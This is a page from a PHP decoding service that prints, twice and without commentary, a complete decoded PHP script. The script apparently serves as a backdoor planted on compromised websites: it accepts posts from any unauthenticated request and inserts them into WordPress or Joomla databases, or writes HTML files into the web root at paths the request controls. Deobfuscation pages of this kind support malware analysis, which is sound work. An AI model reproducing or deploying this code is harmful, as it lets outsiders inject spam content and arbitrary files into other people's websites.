Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if (isset($_GET['check_ready'])) { error_reporting(E_ALL); ini_set('displ..
Decoded Output download
<?php
if (isset($_GET['check_ready'])) {
error_reporting(E_ALL);
ini_set('display_errors', true);
ini_set('error_reporting', E_ALL);
}
set_time_limit(9999);
ignore_user_abort(1);
$input = file_get_contents('php://input');
if (empty($input)) {
die('Waiting posts');
}
$posts = json_decode($input, true);
$protocol = strpos(strtolower($_SERVER['SERVER_PROTOCOL']), 'https') === FALSE ? 'http' : 'https';
$domainLink = $protocol . '://' . $_SERVER['HTTP_HOST'];
$responses = [];
function include_cms()
{
if (file_exists($_SERVER['DOCUMENT_ROOT'] . '/wp-load.php')) {
define('WP_USE_THEMES', false);
require($_SERVER['DOCUMENT_ROOT'] . '/wp-load.php');
return "wp";
} elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/includes/framework.php')) {
define('_JEXEC', 1);
define('DS', DIRECTORY_SEPARATOR);
define('JPATH_BASE', $_SERVER['DOCUMENT_ROOT']);
require_once(JPATH_BASE . DS . 'includes' . DS . 'defines.php');
require_once(JPATH_BASE . DS . 'includes' . DS . 'framework.php');
require_once(JPATH_BASE . DS . 'libraries' . DS . 'joomla' . DS . 'factory.php');
$mainframe = &JFactory::getApplication('site');
return "joomla";
}
return false;
}
function findHTMLIndex()
{
$filesAndFolders = glob(dirname(__FILE__) . "/*");
$possibleFilePatterns = [
'/news\.html/',
'/post\.html/',
'/article\.html/',
'/\d{4}-\d{2}-\d{2}\.html/',
'/news-\d+\.html/',
'/post-\d+\.html/',
'/article-\d+\.html/',
'/blog\.html/',
'/index\.html/'
];
foreach ($filesAndFolders as $file) {
foreach ($possibleFilePatterns as $pattern) {
if (preg_match($pattern, $file)) {
$handle = fopen($file, "r");
$contents = fread($handle, filesize($file));
fclose($handle);
return searchContentBox($contents) ?? false;
}
}
}
return null;
}
function searchContentBox($html)
{
$allContainers = [];
$replacementDone = false;
if (class_exists('DOMDocument')) {
$dom = new DOMDocument;
$dom->loadHTML($html, LIBXML_NOERROR);
$xpath = new DOMXPath($dom);
$keywords = ['article', 'content', 'post', 'entry', 'your', 'additional', 'keywords', 'data_container', 'main-content', 'blog', 'blog-post', 'wrapper', 'content-wrapper', 'article-container', 'post-content', 'text-content', 'main-article', 'content-block', 'story', 'body-content', 'news', 'feature-article', 'page-content', 'text-block', 'article-body', 'content-area', 'blog-content', 'article-text', 'text-container', 'post-wrapper', 'content-section', 'main-text', 'content-holder', 'article-wrap', 'text-wrapper', 'content-box', 'story-container', 'main-article-wrap', 'block-content', 'article-entry', 'text-area', 'blog-entry', 'post-body', 'content-frame', 'content-box', 'body-article', 'news-content', 'feature-content', 'text-entry', 'content-view', 'main-story', 'article-holder', 'blog-text', 'story-text', 'content-segment', 'main-section', 'article-segment', 'text-segment', 'content-column', 'text-frame', 'article-content', 'entry-content', 'post-text', 'main-content-box', 'article-body-text', 'content-block-wrap', 'blog-entry-text', 'text-container-wrap', 'post-content-wrap', 'content-section-wrap', 'article-container-wrap', 'text-block-wrap', 'text-box', 'main-text-content', 'blog-text-wrap', 'text-segment-wrap', 'article-column', 'content-box-wrap', 'text-entry-wrap', 'container', 'text', 'homepagecontent',];
foreach ($keywords as $keyword) {
$containers = $xpath->query('//div[not(ancestor::nav) and not(ancestor::header) and not(ancestor::footer)]/*[
contains(concat(" ", translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), " "), " ' . strtolower($keyword) . ' ") or
contains(concat(" ", translate(@id, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), " "), " ' . strtolower($keyword) . ' ")
] | //section[not(ancestor::nav) and not(ancestor::header) and not(ancestor::footer)]/*[
contains(concat(" ", translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), " "), " ' . strtolower($keyword) . ' ") or
contains(concat(" ", translate(@id, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), " "), " ' . strtolower($keyword) . ' ")
]');
$containersArray = iterator_to_array($containers);
$allContainers = array_merge($allContainers, $containersArray);
}
usort($allContainers, function ($a, $b) {
$sizeA = $a->nodeValue;
$sizeB = $b->nodeValue;
return strlen($sizeB) - strlen($sizeA);
});
if (!empty($allContainers)) {
foreach ($allContainers as $container) {
$parentModal = $xpath->query('ancestor::*[
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "modal") or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "header") or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "swiper") or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "slider") or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "nav")or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "menu")
][not(ancestor::*[
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "modal") or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "header") or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "swiper") or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "slider") or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "nav")or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "menu")
])]', $container);
if ($parentModal->length === 0) {
$html = performReplacement($dom, $xpath, $container);
$replacementDone = true;
break;
}
}
}
}
if (!$replacementDone) {
$html = customReplaceTitlesAndContentWithPlaceholders($html);
}
return finalizeHTML($html);
}
function finalizeHTML($html)
{
$newHTML = preg_replace('/(<title>).*?(<\/title>)/is', '$1[insert_article_title]$2', $html);
$newHTML = preg_replace('/<meta\s+name\s*=\s*["\'](description|keywords)["\'][^>]*\s*\/?>/is', '', $newHTML);
return preg_replace('/(href|src)="(?!https?:|\/)([^"]+)"/', '$1="/$2"', $newHTML);
}
function customReplaceTitlesAndContentWithPlaceholders($html)
{
$titles = array('h1');
if (class_exists('DOMDocument')) {
$doc = new DOMDocument();
libxml_use_internal_errors(true);
$doc->loadHTML($html);
libxml_clear_errors();
$xpath = new DOMXPath($doc);
foreach ($titles as $title) {
$titleElements = $xpath->query('//' . $title);
foreach ($titleElements as $titleElement) {
$titleElement->nodeValue = '[insert_article_title]';
}
}
$h1Elements = $xpath->query('//h1[position() > 1]');
foreach ($h1Elements as $h1Element) {
$h1Element->parentNode->removeChild($h1Element);
}
$maxTextNode = getMaxTextNode($xpath);
if ($maxTextNode) {
$maxTextNode->parentNode->nodeValue = '[insert_article_content_here]';
return $doc->saveHTML();
}
}
foreach ($titles as $title) {
$pattern = "/<$title.*?>.*?<\/$title>/is";
$newHTML = preg_replace($pattern, '[insert_article_title]', $html);
if ($newHTML !== null) {
break;
}
}
return replaceMaxTextBlockWithPlaceholder($newHTML);
}
function replaceMaxTextBlockWithPlaceholder($html)
{
preg_match_all('/<p[^>]*>.*?<\/p>/is', $html, $allTextBlocks);
$largestTextBlock = '';
$largestTextBlockSize = 0;
if (empty($allTextBlocks[0])) {
return preg_replace('/<body[^>]*>/', '[insert_article_content_here]', $html);
}
foreach ($allTextBlocks[0] as $textBlock) {
$currentSize = strlen(strip_tags($textBlock));
if ($currentSize > $largestTextBlockSize) {
$largestTextBlockSize = $currentSize;
$largestTextBlock = $textBlock;
}
}
return str_replace($largestTextBlock, '[insert_article_content_here]' . $largestTextBlock, $html);
}
function getMaxTextNode($xpath)
{
$maxTextLength = 0;
$maxTextNode = null;
$textNodes = $xpath->query('//text()[not(ancestor::*[contains(concat(" ", normalize-space(@class), " "), "modal-content")]) and not(ancestor::script) and not(ancestor::nav) and not(ancestor::footer) and not(ancestor::style) and not(ancestor::title) and not(ancestor::meta) and not(ancestor::*[contains(concat(" ", normalize-space(@class), " "), "menu")]) and not(ancestor::*[contains(concat(" ", normalize-space(@class), " "), "navigation")])');
if (!$textNodes) {
return null;
}
foreach ($textNodes as $textNode) {
$text = trim($textNode->nodeValue);
$textLength = mb_strlen($text, 'UTF-8');
if ($textLength > $maxTextLength) {
$maxTextLength = $textLength;
$maxTextNode = $textNode;
}
}
return $maxTextNode;
}
function performReplacement($dom, $xpath, $container)
{
$newContent = $dom->createDocumentFragment();
$newContent->appendXML('[insert_article_content_here]');
$firstChild = $container->firstChild;
if ($firstChild) {
$container->insertBefore($newContent, $firstChild);
} else {
$container->nodeValue = '';
$container->appendChild($newContent);
}
$titleElement = $xpath->query('//head/title')->item(0);
if ($titleElement) {
$titleElement->nodeValue = '[insert_article_title]';
}
$metaElements = $xpath->query('//meta[@name="description" or @name="keywords"]');
foreach ($metaElements as $metaElement) {
$metaElement->parentNode->removeChild($metaElement);
}
return $dom->saveHTML();
}
function generatePostInTemplate($post, $html): string
{
$template = $html;
$template = preg_replace('/\[insert_article_content_here]/s', $post['post_content'], $template, 1);
$template = preg_replace('/\[insert_article_content_here]/s', '', $template);
$template = str_replace('[insert_article_title]', strip_tags($post['post_title']), $template);
$template = preg_replace('/<h1[^>]*>\s*(.*?)\s*<\/h1>/s', '[insert_article_h1]', $template, 1);
$template = preg_replace('/<h1[^>]*>\s*(.*?)\s*<\/h1>/s', '', $template);
$template = str_replace('[insert_article_h1]', '<h1>' . $post['post_title'] . '</h1>', $template);
return $template;
}
function generateShortContent($text, $maxLength = 100)
{
if (mb_strlen($text, 'UTF-8') > $maxLength) {
$text = mb_substr($text, 0, $maxLength, 'UTF-8');
$text .= '...';
}
return $text;
}
function getTemplateFromRemote($link)
{
$request = new HttpRequest(0, 30);
$siteContent = $request->request($link);
if (!$siteContent) return false;
return searchContentBox($siteContent);
}
function generatePosts($posts, $template)
{
global $domainLink;
$responses = [];
foreach ($posts as $post) {
$content = generatePostInTemplate($post, $template);
$articleFileName = $post['post_slug'] . '.html';
$articleLocalFilePath = $_SERVER['DOCUMENT_ROOT'] . '/' . $post['post_path'] . '/' . $articleFileName;
if (!is_dir(dirname($articleLocalFilePath))) {
mkdir(dirname($articleLocalFilePath), 0755, true);
}
if (file_put_contents($articleLocalFilePath, $content) !== false) {
$responses[] = ['uuid' => $post['uuid'], 'post_permalink' => $domainLink . '/' . $post['post_path'] . '/' . $articleFileName, 'cms' => 'html'];
} else {
$responses[] = ['uuid' => $post['uuid'], 'error' => 'Failed to save post'];
}
}
return $responses;
}
class HttpRequest
{
private $mode = 0;
private $timeout = 60;
function __construct($mode = 0, $timeout = 60)
{
$this->mode = ($mode == 0 && function_exists('curl_init') ? 0 : 1);
$this->timeout = $timeout;
}
function request($url, $post_data = false)
{
switch ($this->mode) {
case 0:
return $this->_requestCurl($url, $post_data);
case 1:
return file_get_contents($url);
default:
return false;
}
}
function _requestCurl($url, $post_data)
{
$hc = curl_init($url);
if ($post_data)
curl_setopt($hc, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($hc, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');
curl_setopt($hc, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($hc, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($hc, CURLOPT_AUTOREFERER, 1);
curl_setopt($hc, CURLOPT_CONNECTTIMEOUT, $this->timeout);
$res = curl_exec($hc);
curl_close($hc);
return $res;
}
}
$checkCMS = include_cms();
if ($checkCMS == "wp") {
foreach ($posts as $post_data) {
$post_id = wp_insert_post($post_data);
if ($post_id) {
$post_permalink = get_permalink($post_id);
$post = get_post($post_id, 'ARRAY_A');
$responses[] = ['uuid' => $post_data['uuid'], 'post_permalink' => $post_permalink, 'cms' => 'wp', 'post' => $post];
} else {
$responses[] = ['uuid' => $post_data['uuid'], 'error' => 'Failed to create post'];
}
}
} elseif ($checkCMS == "joomla") {
foreach ($posts as $post) {
$database = JFactory::getDBO();
$item = new stdClass;
$item->id = null;
$item->title = $post['post_title'];
$item->introtext = generateShortContent($post['post_content'], 300);
$item->fulltext = $post['post_content'];
$item->state = 1;
$item->access = 1;
$item->created_by = 62;
$item->created = $post['post_date'];
$item->alias = JFilterOutput::stringURLSafe($item->title);
if (!$database->insertObject('#__content', $item, 'id')) {
$responses[] = ['uuid' => $post['uuid'], 'error' => 'Failed to create post: ' . $database->stderr()];
continue;
}
$newArticleId = $item->id;
$article = JTable::getInstance('content');
$article->load($newArticleId);
$post_permalink = JRoute::_(ContentHelperRoute::getArticleRoute($newArticleId, $article->catid));
$responses[] = ['uuid' => $post['uuid'], 'post_permalink' => $post_permalink, 'cms' => 'joomla'];
}
} else {
if (!($template = findHTMLIndex())) {
$template = getTemplateFromRemote($domainLink);
}
if ($template) {
$responses = generatePosts($posts, $template);
} else {
header("HTTP/1.1 406 OK");
$responses[] = ['error' => 'Failed to find template'];
}
}
echo json_encode($responses);
Did this file decode correctly?
Original Code
<?php
if (isset($_GET['check_ready'])) {
error_reporting(E_ALL);
ini_set('display_errors', true);
ini_set('error_reporting', E_ALL);
}
set_time_limit(9999);
ignore_user_abort(1);
$input = file_get_contents('php://input');
if (empty($input)) {
die('Waiting posts');
}
$posts = json_decode($input, true);
$protocol = strpos(strtolower($_SERVER['SERVER_PROTOCOL']), 'https') === FALSE ? 'http' : 'https';
$domainLink = $protocol . '://' . $_SERVER['HTTP_HOST'];
$responses = [];
function include_cms()
{
if (file_exists($_SERVER['DOCUMENT_ROOT'] . '/wp-load.php')) {
define('WP_USE_THEMES', false);
require($_SERVER['DOCUMENT_ROOT'] . '/wp-load.php');
return "wp";
} elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/includes/framework.php')) {
define('_JEXEC', 1);
define('DS', DIRECTORY_SEPARATOR);
define('JPATH_BASE', $_SERVER['DOCUMENT_ROOT']);
require_once(JPATH_BASE . DS . 'includes' . DS . 'defines.php');
require_once(JPATH_BASE . DS . 'includes' . DS . 'framework.php');
require_once(JPATH_BASE . DS . 'libraries' . DS . 'joomla' . DS . 'factory.php');
$mainframe = &JFactory::getApplication('site');
return "joomla";
}
return false;
}
function findHTMLIndex()
{
$filesAndFolders = glob(dirname(__FILE__) . "/*");
$possibleFilePatterns = [
'/news\.html/',
'/post\.html/',
'/article\.html/',
'/\d{4}-\d{2}-\d{2}\.html/',
'/news-\d+\.html/',
'/post-\d+\.html/',
'/article-\d+\.html/',
'/blog\.html/',
'/index\.html/'
];
foreach ($filesAndFolders as $file) {
foreach ($possibleFilePatterns as $pattern) {
if (preg_match($pattern, $file)) {
$handle = fopen($file, "r");
$contents = fread($handle, filesize($file));
fclose($handle);
return searchContentBox($contents) ?? false;
}
}
}
return null;
}
function searchContentBox($html)
{
$allContainers = [];
$replacementDone = false;
if (class_exists('DOMDocument')) {
$dom = new DOMDocument;
$dom->loadHTML($html, LIBXML_NOERROR);
$xpath = new DOMXPath($dom);
$keywords = ['article', 'content', 'post', 'entry', 'your', 'additional', 'keywords', 'data_container', 'main-content', 'blog', 'blog-post', 'wrapper', 'content-wrapper', 'article-container', 'post-content', 'text-content', 'main-article', 'content-block', 'story', 'body-content', 'news', 'feature-article', 'page-content', 'text-block', 'article-body', 'content-area', 'blog-content', 'article-text', 'text-container', 'post-wrapper', 'content-section', 'main-text', 'content-holder', 'article-wrap', 'text-wrapper', 'content-box', 'story-container', 'main-article-wrap', 'block-content', 'article-entry', 'text-area', 'blog-entry', 'post-body', 'content-frame', 'content-box', 'body-article', 'news-content', 'feature-content', 'text-entry', 'content-view', 'main-story', 'article-holder', 'blog-text', 'story-text', 'content-segment', 'main-section', 'article-segment', 'text-segment', 'content-column', 'text-frame', 'article-content', 'entry-content', 'post-text', 'main-content-box', 'article-body-text', 'content-block-wrap', 'blog-entry-text', 'text-container-wrap', 'post-content-wrap', 'content-section-wrap', 'article-container-wrap', 'text-block-wrap', 'text-box', 'main-text-content', 'blog-text-wrap', 'text-segment-wrap', 'article-column', 'content-box-wrap', 'text-entry-wrap', 'container', 'text', 'homepagecontent',];
foreach ($keywords as $keyword) {
$containers = $xpath->query('//div[not(ancestor::nav) and not(ancestor::header) and not(ancestor::footer)]/*[
contains(concat(" ", translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), " "), " ' . strtolower($keyword) . ' ") or
contains(concat(" ", translate(@id, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), " "), " ' . strtolower($keyword) . ' ")
] | //section[not(ancestor::nav) and not(ancestor::header) and not(ancestor::footer)]/*[
contains(concat(" ", translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), " "), " ' . strtolower($keyword) . ' ") or
contains(concat(" ", translate(@id, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), " "), " ' . strtolower($keyword) . ' ")
]');
$containersArray = iterator_to_array($containers);
$allContainers = array_merge($allContainers, $containersArray);
}
usort($allContainers, function ($a, $b) {
$sizeA = $a->nodeValue;
$sizeB = $b->nodeValue;
return strlen($sizeB) - strlen($sizeA);
});
if (!empty($allContainers)) {
foreach ($allContainers as $container) {
$parentModal = $xpath->query('ancestor::*[
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "modal") or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "header") or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "swiper") or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "slider") or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "nav")or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "menu")
][not(ancestor::*[
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "modal") or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "header") or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "swiper") or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "slider") or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "nav")or
contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "menu")
])]', $container);
if ($parentModal->length === 0) {
$html = performReplacement($dom, $xpath, $container);
$replacementDone = true;
break;
}
}
}
}
if (!$replacementDone) {
$html = customReplaceTitlesAndContentWithPlaceholders($html);
}
return finalizeHTML($html);
}
function finalizeHTML($html)
{
$newHTML = preg_replace('/(<title>).*?(<\/title>)/is', '$1[insert_article_title]$2', $html);
$newHTML = preg_replace('/<meta\s+name\s*=\s*["\'](description|keywords)["\'][^>]*\s*\/?>/is', '', $newHTML);
return preg_replace('/(href|src)="(?!https?:|\/)([^"]+)"/', '$1="/$2"', $newHTML);
}
function customReplaceTitlesAndContentWithPlaceholders($html)
{
$titles = array('h1');
if (class_exists('DOMDocument')) {
$doc = new DOMDocument();
libxml_use_internal_errors(true);
$doc->loadHTML($html);
libxml_clear_errors();
$xpath = new DOMXPath($doc);
foreach ($titles as $title) {
$titleElements = $xpath->query('//' . $title);
foreach ($titleElements as $titleElement) {
$titleElement->nodeValue = '[insert_article_title]';
}
}
$h1Elements = $xpath->query('//h1[position() > 1]');
foreach ($h1Elements as $h1Element) {
$h1Element->parentNode->removeChild($h1Element);
}
$maxTextNode = getMaxTextNode($xpath);
if ($maxTextNode) {
$maxTextNode->parentNode->nodeValue = '[insert_article_content_here]';
return $doc->saveHTML();
}
}
foreach ($titles as $title) {
$pattern = "/<$title.*?>.*?<\/$title>/is";
$newHTML = preg_replace($pattern, '[insert_article_title]', $html);
if ($newHTML !== null) {
break;
}
}
return replaceMaxTextBlockWithPlaceholder($newHTML);
}
function replaceMaxTextBlockWithPlaceholder($html)
{
preg_match_all('/<p[^>]*>.*?<\/p>/is', $html, $allTextBlocks);
$largestTextBlock = '';
$largestTextBlockSize = 0;
if (empty($allTextBlocks[0])) {
return preg_replace('/<body[^>]*>/', '[insert_article_content_here]', $html);
}
foreach ($allTextBlocks[0] as $textBlock) {
$currentSize = strlen(strip_tags($textBlock));
if ($currentSize > $largestTextBlockSize) {
$largestTextBlockSize = $currentSize;
$largestTextBlock = $textBlock;
}
}
return str_replace($largestTextBlock, '[insert_article_content_here]' . $largestTextBlock, $html);
}
function getMaxTextNode($xpath)
{
$maxTextLength = 0;
$maxTextNode = null;
$textNodes = $xpath->query('//text()[not(ancestor::*[contains(concat(" ", normalize-space(@class), " "), "modal-content")]) and not(ancestor::script) and not(ancestor::nav) and not(ancestor::footer) and not(ancestor::style) and not(ancestor::title) and not(ancestor::meta) and not(ancestor::*[contains(concat(" ", normalize-space(@class), " "), "menu")]) and not(ancestor::*[contains(concat(" ", normalize-space(@class), " "), "navigation")])');
if (!$textNodes) {
return null;
}
foreach ($textNodes as $textNode) {
$text = trim($textNode->nodeValue);
$textLength = mb_strlen($text, 'UTF-8');
if ($textLength > $maxTextLength) {
$maxTextLength = $textLength;
$maxTextNode = $textNode;
}
}
return $maxTextNode;
}
function performReplacement($dom, $xpath, $container)
{
$newContent = $dom->createDocumentFragment();
$newContent->appendXML('[insert_article_content_here]');
$firstChild = $container->firstChild;
if ($firstChild) {
$container->insertBefore($newContent, $firstChild);
} else {
$container->nodeValue = '';
$container->appendChild($newContent);
}
$titleElement = $xpath->query('//head/title')->item(0);
if ($titleElement) {
$titleElement->nodeValue = '[insert_article_title]';
}
$metaElements = $xpath->query('//meta[@name="description" or @name="keywords"]');
foreach ($metaElements as $metaElement) {
$metaElement->parentNode->removeChild($metaElement);
}
return $dom->saveHTML();
}
function generatePostInTemplate($post, $html): string
{
$template = $html;
$template = preg_replace('/\[insert_article_content_here]/s', $post['post_content'], $template, 1);
$template = preg_replace('/\[insert_article_content_here]/s', '', $template);
$template = str_replace('[insert_article_title]', strip_tags($post['post_title']), $template);
$template = preg_replace('/<h1[^>]*>\s*(.*?)\s*<\/h1>/s', '[insert_article_h1]', $template, 1);
$template = preg_replace('/<h1[^>]*>\s*(.*?)\s*<\/h1>/s', '', $template);
$template = str_replace('[insert_article_h1]', '<h1>' . $post['post_title'] . '</h1>', $template);
return $template;
}
function generateShortContent($text, $maxLength = 100)
{
if (mb_strlen($text, 'UTF-8') > $maxLength) {
$text = mb_substr($text, 0, $maxLength, 'UTF-8');
$text .= '...';
}
return $text;
}
function getTemplateFromRemote($link)
{
$request = new HttpRequest(0, 30);
$siteContent = $request->request($link);
if (!$siteContent) return false;
return searchContentBox($siteContent);
}
function generatePosts($posts, $template)
{
global $domainLink;
$responses = [];
foreach ($posts as $post) {
$content = generatePostInTemplate($post, $template);
$articleFileName = $post['post_slug'] . '.html';
$articleLocalFilePath = $_SERVER['DOCUMENT_ROOT'] . '/' . $post['post_path'] . '/' . $articleFileName;
if (!is_dir(dirname($articleLocalFilePath))) {
mkdir(dirname($articleLocalFilePath), 0755, true);
}
if (file_put_contents($articleLocalFilePath, $content) !== false) {
$responses[] = ['uuid' => $post['uuid'], 'post_permalink' => $domainLink . '/' . $post['post_path'] . '/' . $articleFileName, 'cms' => 'html'];
} else {
$responses[] = ['uuid' => $post['uuid'], 'error' => 'Failed to save post'];
}
}
return $responses;
}
class HttpRequest
{
private $mode = 0;
private $timeout = 60;
function __construct($mode = 0, $timeout = 60)
{
$this->mode = ($mode == 0 && function_exists('curl_init') ? 0 : 1);
$this->timeout = $timeout;
}
function request($url, $post_data = false)
{
switch ($this->mode) {
case 0:
return $this->_requestCurl($url, $post_data);
case 1:
return file_get_contents($url);
default:
return false;
}
}
function _requestCurl($url, $post_data)
{
$hc = curl_init($url);
if ($post_data)
curl_setopt($hc, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($hc, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');
curl_setopt($hc, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($hc, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($hc, CURLOPT_AUTOREFERER, 1);
curl_setopt($hc, CURLOPT_CONNECTTIMEOUT, $this->timeout);
$res = curl_exec($hc);
curl_close($hc);
return $res;
}
}
$checkCMS = include_cms();
if ($checkCMS == "wp") {
foreach ($posts as $post_data) {
$post_id = wp_insert_post($post_data);
if ($post_id) {
$post_permalink = get_permalink($post_id);
$post = get_post($post_id, 'ARRAY_A');
$responses[] = ['uuid' => $post_data['uuid'], 'post_permalink' => $post_permalink, 'cms' => 'wp', 'post' => $post];
} else {
$responses[] = ['uuid' => $post_data['uuid'], 'error' => 'Failed to create post'];
}
}
} elseif ($checkCMS == "joomla") {
foreach ($posts as $post) {
$database = JFactory::getDBO();
$item = new stdClass;
$item->id = null;
$item->title = $post['post_title'];
$item->introtext = generateShortContent($post['post_content'], 300);
$item->fulltext = $post['post_content'];
$item->state = 1;
$item->access = 1;
$item->created_by = 62;
$item->created = $post['post_date'];
$item->alias = JFilterOutput::stringURLSafe($item->title);
if (!$database->insertObject('#__content', $item, 'id')) {
$responses[] = ['uuid' => $post['uuid'], 'error' => 'Failed to create post: ' . $database->stderr()];
continue;
}
$newArticleId = $item->id;
$article = JTable::getInstance('content');
$article->load($newArticleId);
$post_permalink = JRoute::_(ContentHelperRoute::getArticleRoute($newArticleId, $article->catid));
$responses[] = ['uuid' => $post['uuid'], 'post_permalink' => $post_permalink, 'cms' => 'joomla'];
}
} else {
if (!($template = findHTMLIndex())) {
$template = getTemplateFromRemote($domainLink);
}
if ($template) {
$responses = generatePosts($posts, $template);
} else {
header("HTTP/1.1 406 OK");
$responses[] = ['error' => 'Failed to find template'];
}
}
echo json_encode($responses);
Function Calls
None |
Stats
MD5 | b67193c3b15627ce65fdd1b065d7e51c |
Eval Count | 0 |
Decode Time | 61 ms |